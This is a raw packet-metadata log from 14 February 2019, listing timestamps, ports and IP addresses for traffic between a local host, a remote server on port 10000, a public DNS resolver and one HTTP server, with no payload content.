Feb 14, 2019 12:59:26.838023901 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.838649035 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.838650942 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.838651896 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.838654041 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.838654995 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.838655949 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.838658094 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.838829041 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.838844061 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.838884115 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.839015961 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.839536905 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.839544058 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.839549065 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.839553118 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.839557886 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.839688063 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.839689970 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.839692116 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.839972973 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.839975119 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.840018988 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.840028048 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.840262890 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.840266943 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.840269089 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.840270996 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.840280056 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.841109037 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.841120005 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.841125011 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.841130018 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.841197968 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.841459036 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.841459990 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.841461897 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.842025995 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.842027903 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.842029095 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.842031002 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.842031956 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.842032909 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.842318058 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.842325926 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.842330933 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.842339039 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.842344046 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.842349052 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.842374086 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.842509985 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.842865944 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.842873096 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.842911005 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.844166994 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.844170094 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.844171047 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.844449997 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.844461918 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.844743013 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.844743967 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.844746113 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.844747066 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.845632076 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.845647097 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.845653057 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.845716953 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.846076012 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.846129894 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.846678972 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.846685886 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.846690893 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.929008007 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.929112911 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.929233074 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.929287910 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.929413080 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.929635048 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.929661036 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.929766893 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.929976940 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.929991007 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.930659056 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.930681944 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.931955099 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.932003975 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.932121038 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.932248116 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.932318926 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.932332993 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.932338953 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.932343960 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.932383060 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.932643890 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.932676077 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.932704926 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.932802916 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.932842016 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.932974100 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.934134960 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.934139967 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.934140921 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.934143066 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.934144974 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.934703112 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.934900999 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.935010910 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.935126066 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.935200930 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.935215950 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.935261965 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.935266018 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.935271978 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.935302019 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.935307026 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.935312033 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.935349941 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.935450077 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.935839891 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.935842991 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.935844898 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.935846090 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.935894966 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.936346054 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.936348915 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.936935902 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.936950922 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.936956882 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.937026978 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.937446117 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.937448025 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.937448978 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.937452078 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:26.937949896 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.937961102 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.937999964 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.938925982 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.938936949 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.938942909 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.938947916 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.940151930 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.940165043 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:26.940212965 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:27.861012936 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:27.956980944 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:27.957017899 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:27.957142115 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:27.957277060 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:27.957294941 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:27.957299948 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:27.957361937 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:27.957484007 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:27.957609892 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:27.957613945 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:27.957638025 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:27.957768917 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:27.957818985 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:27.957842112 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:27.957849979 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:27.957933903 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:27.957988024 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:27.957997084 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.053148031 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.053209066 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.053327084 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.053425074 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.053440094 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.053447962 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.053683996 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.053698063 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.053757906 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.053781033 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.053885937 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.053915024 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.053982019 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.054008961 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.054029942 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.054162979 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.054176092 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.054203033 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.054352045 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.054409981 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.054418087 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.054440975 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.054565907 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.054620028 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.054636002 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.054743052 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.054764032 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.054891109 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.054968119 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.055011988 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.055080891 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.148988962 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.149024010 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.149153948 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.149271965 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.149287939 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.149297953 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.149410963 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.149462938 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.149533987 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.149622917 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.149647951 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.149764061 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.149825096 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.149878979 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.149981022 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.150007010 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.150096893 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.150192022 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.150222063 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.150348902 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.150356054 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.150404930 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.150504112 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.150564909 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.150661945 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.150669098 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.514086008 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.609380960 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.609776974 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.622503042 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.629255056 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.717624903 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.717641115 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:28.718014956 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:28.764157057 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:29.306829929 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:29.306860924 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:29.307048082 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:29.307060957 MEZ	10000	49286	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:29.309221029 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:29.309243917 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:29.309250116 MEZ	49286	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:30.983944893 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:30.992110014 MEZ	61475	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:30.992188931 MEZ	59360	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:31.039836884 MEZ	53	61475	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:31.043059111 MEZ	59360	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:31.079811096 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.079838991 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.079917908 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.079946995 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.080074072 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.080087900 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.082797050 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.082818031 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.082823992 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.082870007 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.083496094 MEZ	53	59360	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:31.087279081 MEZ	53	59360	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:31.090413094 MEZ	49287	80	192.168.0.50	52.174.148.190
Feb 14, 2019 12:59:31.090440035 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.090450048 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.090504885 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.112020969 MEZ	80	49287	52.174.148.190	192.168.0.50
Feb 14, 2019 12:59:31.113993883 MEZ	49287	80	192.168.0.50	52.174.148.190
Feb 14, 2019 12:59:31.114423037 MEZ	49287	80	192.168.0.50	52.174.148.190
Feb 14, 2019 12:59:31.140394926 MEZ	80	49287	52.174.148.190	192.168.0.50
Feb 14, 2019 12:59:31.142412901 MEZ	49287	80	192.168.0.50	52.174.148.190
Feb 14, 2019 12:59:31.148624897 MEZ	49596	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:31.148746967 MEZ	52816	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:31.167860985 MEZ	53	49596	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:31.171044111 MEZ	52816	53	192.168.0.50	8.8.8.8
Feb 14, 2019 12:59:31.182599068 MEZ	53	52816	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:31.186156034 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.186264038 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.186331034 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.186459064 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.186568975 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.186680079 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.186794996 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.186990976 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.187022924 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.187143087 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.187248945 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.187364101 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.187524080 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.187721968 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.187767982 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.187880993 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.187920094 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.188092947 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.188178062 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.188240051 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.188261032 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.188292980 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.188385010 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.188524008 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.188545942 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.188555002 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.188676119 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.188720942 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.188834906 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.188879967 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.188950062 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.189033031 MEZ	10000	49285	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.189096928 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.189218998 MEZ	10000	49283	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.189326048 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.189461946 MEZ	10000	49284	34.225.153.59	192.168.0.50
Feb 14, 2019 12:59:31.189666986 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.189677000 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.189682961 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.189728975 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.189913988 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.190256119 MEZ	53	52816	8.8.8.8	192.168.0.50
Feb 14, 2019 12:59:31.190314054 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.190323114 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.190327883 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.190371037 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.190459967 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.190606117 MEZ	49284	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.191339016 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.191346884 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.191418886 MEZ	49283	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.191509008 MEZ	49285	10000	192.168.0.50	34.225.153.59
Feb 14, 2019 12:59:31.191942930 MEZ	49284	10000	192.168.0.50	34.225.153.59
